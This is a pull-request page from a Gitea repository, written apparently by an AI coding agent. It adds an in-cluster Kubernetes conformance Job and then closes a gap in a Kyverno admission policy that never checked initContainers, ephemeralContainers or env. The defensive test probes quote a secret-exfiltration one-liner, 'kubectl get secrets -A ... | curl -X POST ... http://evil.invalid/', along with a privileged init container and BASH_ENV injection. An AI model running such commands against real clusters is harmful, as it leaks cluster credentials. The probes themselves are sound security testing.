feat(conformance): the in-cluster Job can now run a named commit and get its results out #20
No Assignees
Notifications
Due Date
No due date set.
Dependencies
No dependencies set.
Reference: Home-Network/home-network-k3s-impl#20
Reference in new issue
Block a user
Closes
docs/plans/l2-l3-conformance-ci-wiring.md§3 items 2 and 3.conformance/incluster/chainsaw-job.yamlwas a skeleton whoseworkspacewas an emptyemptyDirwith nothing to populate it — the Job could never have run the suite. It is now arenderable run template that runs a named commit and gets its results back out through the one
channel CI has.
Do not merge on my say-so — and a correction to the brief I was given. I was told to expect
CI to FAIL on an
approval-policycheck becauseconformance/**is security-relevant. No suchcheck exists. Measured:
The only required context is
gate / gate, and it is green — and it genuinely ran (1m36s), sothis is not the skipped-job-reports-success trap. What blocks this merge is
required_approvals: 1plusgitea-adminauthoring every agent PR and being unable to self-approve, the same controlthat returned HTTP 405 on PR #12. Worth knowing separately: a change under
conformance/**—including one to the admission boundary itself — is gated by a generic human approval, not by
anything that knows the path is security-relevant. If that is the intent, it is not implemented
anywhere in this repo.
The binding constraint
platform/kyverno/admission/conformance-trigger-job-shape.yamlis Enforce +failurePolicy: Failand admits onlyworkspaceandresultsas volume names. So the git credential couldnot be a Secret volume and the init container could not have a scratch volume of its own:
secretKeyRefon Secretconformance-git-readonly(username,token) — by name only, no literal in the tree. An env var is not a volume. It reachesgitthrough an inlinecredential.helperthat reads the environment, so the token is never in argv (ps, the Pod spec) and never on disk.readOnlyRootFilesystem: true$TMPDIR=/workspace/tmp,$HOME=/workspace/home— directories on theworkspaceemptyDir. NotsubPathmounts: a kubelet-created subPath dir is root-owned 0755 and the non-root runner cannot write it.resultsconformance/_artifacts— that path is inside the clone target andgit clonerefuses a non-empty target. Hence/resultsplus a newCONF_ARTIFACTSoverride inrun.sh, honoured only when set, so local runs are unchanged.The init container shallow-clones, fetches the exact commit when the shallow tip does not contain
it, detaches onto it, and asserts
HEADequals the requested SHA. The SHA must match^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run ofwhatever the branch tip happened to be. Placeholders are
@@TOKEN@@, not${TOKEN}, because theinit container is a bash script full of legitimate
${...}thatenvsubstwould clobber.Admission proven, not assumed
Pinned CLI (kyverno v1.19.0) in the toolbox, on the rendered template:
Negative controls on the same rendered template, to show the rules bite rather than
vacuously pass:
secret:for the credential)trigger-volumes-must-be-workspace-or-resultsfailscommandwrapped in/bin/sh -c "./run.sh; tar … | base64"trigger-may-create-only-the-committed-conformance-runfails at/spec/template/spec/containers/0/command/The shape is now a
real-templatefixture inplatform/kyverno/tests/conformance-trigger/resources.yaml, so a template that drifts out ofadmission fails
make -C ci l0rather than failing at 2am against the live cluster.⚠ Finding: that policy never reads
initContainersMeasured with the same CLI on the same rendered template, with only the init container's
argsreplaced bykubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/andcontainers[0]left fully compliant:All three rules read
spec.template.spec.containers(rule 1's pattern, rule 3'scontainers[0].args) orvolumes(rule 2). The escalation the policy exists to stop — theprivileged
conformance-runnerSA running an arbitrary command, because Kubernetes places nousecheck onserviceAccountName— is still reachable one field over. This predates thisbranch: the gap shipped with the policy, and a Job with no init container at all could already
have carried one.
Deliberately not fixed here. A security boundary changes in its own reviewed PR, not smuggled
in beside the Job that has to satisfy it. Documented in the manifest header and DECISIONS-LOG with
the recommended fix: bake the clone script into the runner image at a fixed path, drop the init
container's
args, and add a 4th rule pinninginitContainersto one container on thedigest-pinned image with
command: ["/usr/local/bin/conformance-clone"]and no args.Also noted:
kyverno applyevaluates these rules with or without--userinfo(the extra-volumecontrol fails either way), so a CLI pass is evidence about the patterns, not about the
subjectsfilter.Results with no exec channel
The trigger identity has no
pods/execand cannotkubectl cp, and admission pinscommandtoexactly
["./run.sh"]— nothing can wrap the suite to package artifacts afterwards. Sorun.shdoes it, on an EXIT trap (a failed run still ships its red JUnit — the evidence the gate most
needs), armed only by
CONF_EMIT_ARTIFACTS_TGZ=1:kubectl logsis lossy (--tail, a rotated CRI log, a dropped watch) and base64 decodes atruncated stream to plausible garbage without complaint — so size, base64 line count and digest
appear in both markers and the collector owes five checks, spelled out above the function.
Verified locally rather than asserted:
head -200)tail -100)Exit-code preservation through the trap was tested for
0, an explicitexit 3and aset -eabort; the envelope's
rc=matched the process rc in all three.Gate
Toolbox only (
DEV_KUBECONFIG=/dev/null+ anENGINEshim bind-mounting the main checkout's.git, per CLAUDE.md §3):Nothing FAILED. rc 3 is the expected local outcome and
gate.ymltolerates it.UNVERIFIED — read before believing any of this runs
conformance-runnerimage does not exist (plan §3 item 1),so the Job cannot be submitted; the clone/fetch/assert sequence, the credential helper and the
envelope-over-
kubectl-logstransport are all unexercised against a cluster. The envelopeitself is verified; its transport is not.
conformance-git-readonlydoes not exist (plan §3 item 6, operator).uid 65532is pinned by the Job'srunAsUser/fsGroup; the image that must provide it has notbeen built. A different uid in the Containerfile and the Job will not start.
uploadpackservesfetch origin <sha>for a non-tip commit was not tested.If it does not, the
HEAD == SHAassertion makes that a loud failure, never a wrong-tree run.ci/conformance.shis untouched (plan §3 item 4) — this branch changes nothing about what CIdoes today.
platform/kyverno/admission/conformance-trigger-job-shape.yaml,ci/gate.shand branchprotection are untouched.
🤖 Generated with Claude Code
UPDATE — the
initContainershole is closed, and it was the same bug three timesThe coordinator reproduced the finding independently and authorised the policy edit my brief had
forbidden, reversing it explicitly: the ban existed to stop the boundary being bent to fit a
Job, not to stop a hole being closed. So this PR now also changes
platform/kyverno/admission/conformance-trigger-job-shape.yaml.What was open
Every original rule read
spec.template.spec.containers(rule 1's pattern, rule 3'scontainers[0].args) orvolumes(rule 2). Nothing read the other fields that carry executableintent. Measured with
containers[0]left fully compliant:privileged: truealpine:latestinitContainer runningkubectl get secrets -Apass: 3, fail: 0— admittedargsswapped for an exfiltration one-linerpass: 3, fail: 0— admitted=(privileged): "false"only ever applied tocontainers[0].ephemeralContainersandenvwere equally unread.
Four new rules
trigger-initcontainers-must-be-the-committed-clone-step— at most ONE initContainer, onthe digest-pinned runner image,
command: ["/usr/local/bin/conformance-clone"], no args,non-root, no privilege escalation, not privileged.
trigger-may-not-declare-ephemeral-containers— the third container list.trigger-env-names-must-be-the-committed-set—commandis pinned, so injection moves to avariable the pinned command honours.
BASH_ENValone is arbitrary code execution: bashsources it before running a non-interactive script, and the runner's command is a bash script.
trigger-may-not-use-envfrom— a whole Secret as env, whose keys are nowhere in the Job.All four use
denyconditions, not apattern. A Kyverno array pattern asserts "at least oneelement matches", so a pattern-based init rule would have admitted the committed clone step plus
an arbitrary second init container — fixture
second-initcontainerexists because I nearly wroteit that way.
Env values and the
valueFromsource Secret are deliberately not constrained: values arelegitimately environment-specific, and
conformance-runnercan already read this namespace'sSecrets through its own RBAC. Names are the vector, because a name is what a program keys on.
The real fix: the clone script left the Job
Pinning
commandis worthless when the command is/bin/bash -cand the script arrives asargs— a policy cannot tell the committed script from an attacker's, because both are just data.The logic now lives in the image at
/usr/local/bin/conformance-clone, fromconformance/incluster/conformance-clone(agent 1's PR #18, which must merge before thistemplate is usable).
I had written a second copy of that script here and deleted it. Two copies of the clone
entrypoint — one baked into the image, one not — drifts into "the reviewed file is not the file
that runs". I read theirs before deleting mine rather than assuming compatibility: the interface
matches exactly (
CONFORMANCE_GIT_SHA,GITEA_USERNAME/GITEA_TOKEN, baked clone target/workspace/src— which is what makes myworkingDircorrect —TMPDIR/HOMEunder/workspace), and both load-bearing guards survived the move: the^[0-9a-f]{40}$SHA check andrev-parse HEAD == SHA. Theirs is a superset — it also hard-fails a disagreeingCONFORMANCE_REPO_URL/CONFORMANCE_SRCinstead of honouring it.Also fixed: the committed
argsdefault could not runAgent 1 measured that
--layer all --strict-coverageand a bare--requirements <IDs>fail onthe runner image, which ships no flux/promtool/kyverno/kustomize. Tracing
run.shgives theprecise invariant —
requirement_scoped_dirs()is layer-bounded only when--layeris givenand is not
all, andoffline_selected_dirs()then filters to/l0-static/|/l1-rendering/:--layer l2,l3--layer l2,l3 --requirements R-NET-01--layer l2,l3 --include-scope whole-repo--requirements R-NET-01(no--layer)--layer all --strict-coverageSo
--layeris mandatory and must name only l2/l3. The default was one of the broken shapes andis now
["--layer", "l2,l3"]. More importantly: the plan's "PHASE EXIT:--layer all"invocation cannot run in-cluster at all — a full-suite run is CI's L0/L1 plus this Job's L2/L3,
not this Job alone. That correction needs to land in
ci/conformance.sh(plan §3 item 4).The policy's args allowlist is deliberately not narrowed to match: a security boundary should
not encode which toolchain an image happens to ship, and an allowed-but-unrunnable shape fails
loudly rather than escalating. Recorded in the header so it reads as considered, not missed.
Proven, not asserted (7 rules now)
Fixture matrix — 65 pass / 13 fail / 0 error / 0 skip:
real-templategood-runevil-commandevil-imagetag-not-digesthost-namespacesextra-volumeinjected-argsevil-initcontainerinitcontainer-with-argssecond-initcontainerevil-ephemeral-containerinjected-envinjected-initcontainer-envenvfrom-whole-secret—is "no result", not a pass: aforeachover an absent list emits nothing. Two rows to stareat: every evil init/ephemeral/env case passes the three original rules — that column is the
whole finding. And
injected-initcontainer-envpasses the initContainer rule (correct image,correct pinned command, no args, non-root) while being hostile purely through
env— which is whyenv had to be its own rule rather than a condition bolted onto the init rule.
Two Kyverno traps, now commented in the rules
Both silently invert the result, so they are worth knowing before editing this policy:
not_null(x,default), never||. JMESPath treatsfalseas falsy, soallowPrivilegeEscalation || `true`rewrites the compliant valuefalseintotrueanddenies every good Job.
join(' ', command)compared as a string, not the array compared withEquals: Kyverno'sEquals/NotEqualsare unreliable on arrays, and element-wise matching lets["/bin/sh","-c",…]through on element 0.Still unverified
Secret
conformance-git-readonlystill does not exist.ephemeralContainersin a Job pod template at all. Upstreamthe field is settable only through the
pods/ephemeralcontainerssubresource, but whether thatcheck reaches a nested pod template is not something I could establish without a
create --dry-run=server— a mutating request reserved to the operator (CLAUDE.md §5). The rulewas added regardless: a no-op if upstream already rejects it, the same hole if not.
variable, admission denies the Job until the allowlist is widened in a reviewed change. That is
the intended failure direction, but it is a coupling the next editor needs to know about, so the
rule's message says so.
Gate, re-run
🤖 Generated with Claude Code
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty `emptyDir` with nothing to populate it, so the Job could never have run the suite at all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. The whole shape is dictated by a fail-closed Enforce policy (platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only `workspace` and `results` as volume names. So: * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches `git` via an inline credential.helper that reads the environment, so the token is never in argv and never on disk; * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps `readOnlyRootFilesystem: true` without a third volume and without subPath mounts (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner); * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the clone target and `git clone` refuses a non-empty target -- hence the new `CONF_ARTIFACTS` override, honoured only when set. The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match ^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip was. Results leave over stdout because the trigger identity has no pods/exec and admission pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits them on an EXIT trap -- a failed run still ships its red JUnit -- between markers carrying bytes, base64 line count and sha256 TWICE: === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. === `kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so a collector that makes the five documented checks cannot mistake a partial log for a complete artifact set. Verified locally: full decode round-trips; head-truncation, tail-truncation, a dropped interior line and one corrupted character are each detected; exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching `rc=` in the envelope. Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template (a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`. FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same rendered template with only the init container's args replaced by `kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3, fail 0). The escalation the policy exists to stop is still reachable one field over, and was before this Job had an init container. A security boundary changes in its own reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the recommended 4th rule, not patched in beside the Job that must satisfy it. UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist (plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the clone, the credential helper and the log transport are unexercised against a cluster. `ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch. Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1 green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE UNDETERMINED, rc 3. Nothing FAILED. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>approval-policycheck this PR was expected to fail does not existI was briefed to expect CI to FAIL on an `approval-policy` check, because `conformance/**` is security-relevant. Measured instead: grep -rn approval .gitea/workflows/ -> no match branches/main status_check_contexts -> ['gate / gate (pull_request)'] commits/<head>/statuses gate / gate -> success, "Successful in 1m36s" gate / conformance -> pending, "Blocked by required conditions" The only required context is `gate / gate`, and it is green — and it genuinely ran (1m36s), so this is not the skipped-Gitea-job-reports-success trap. There is no path-based approval policy in CI anywhere in this repo. What blocks the merge is `required_approvals: 1` and the fact that `gitea-admin` authors every agent PR and cannot self-approve — the control that returned HTTP 405 on PR #12. Recording it because the PR body and the log entry both asserted the wrong blocker, and this repo has been burned repeatedly by documentation that described a control nobody measured. A change to the admission boundary under `conformance/**` is gated by a generic human approval, not by anything that knows the path is security-relevant; if that is the intent, it is not implemented. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>containersand nothing else — initContainers, ephemeralContainers and env were all openAuthorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed. MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant, `serviceAccountName: conformance-runner`: * a `privileged: true` `docker.io/library/alpine:latest` initContainer running `kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED * the committed template with ONLY the init container's args swapped for `kubectl get secrets -A | curl -X POST ... http://evil.invalid/` -> pass: 3, fail: 0 ADMITTED Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` and `env` were equally unread. Four new rules: * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege escalation, not privileged. * trigger-may-not-declare-ephemeral-containers. * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash sources it before running a non-interactive script, and the runner's command IS one. * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job. All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one element matches", so a pattern-based init rule would have admitted the committed clone step PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I nearly wrote it that way. THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the committed script from an attacker's, because both are just data. The logic now lives in the image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone` (agent 1, PR #18 — which must merge before this template is usable). I had written a second copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into the image and one not, drifts into "the reviewed file is not the file that runs". I read theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN, baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under /workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and `rev-parse HEAD == SHA`. Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are legitimately environment-specific, and conformance-runner can already read this namespace's Secrets via its own RBAC. Names are the vector, because a name is what a program keys on. Two Kyverno traps, commented in the rules because both silently invert the result: `not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so `allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and `join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable and element-wise matching lets `["/bin/sh","-c",...]` through on element 0. ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image, which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant — `requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`, and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to `--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args allowlist is deliberately NOT narrowed to match — a security boundary should not encode which toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than escalating. PROVEN, NOT ASSERTED (7 rules): real rendered template -> pass: 7, fail: 0 coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1) ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1) Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil init/ephemeral/env case still PASSES the three original rules — that column is the finding. `injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env, which is why env had to be its own rule. UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all. Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether that check reaches a nested pod template is not something I could establish without a `create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule added regardless: a no-op if upstream rejects it, the same hole if not. Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources), render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE UNDETERMINED rc 3. Nothing FAILED. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>44dbd44333to11a74cce53New commits pushed, approval review dismissed automatically according to repository settings
11a74cce53to0749562ad0New commits pushed, approval review dismissed automatically according to repository settings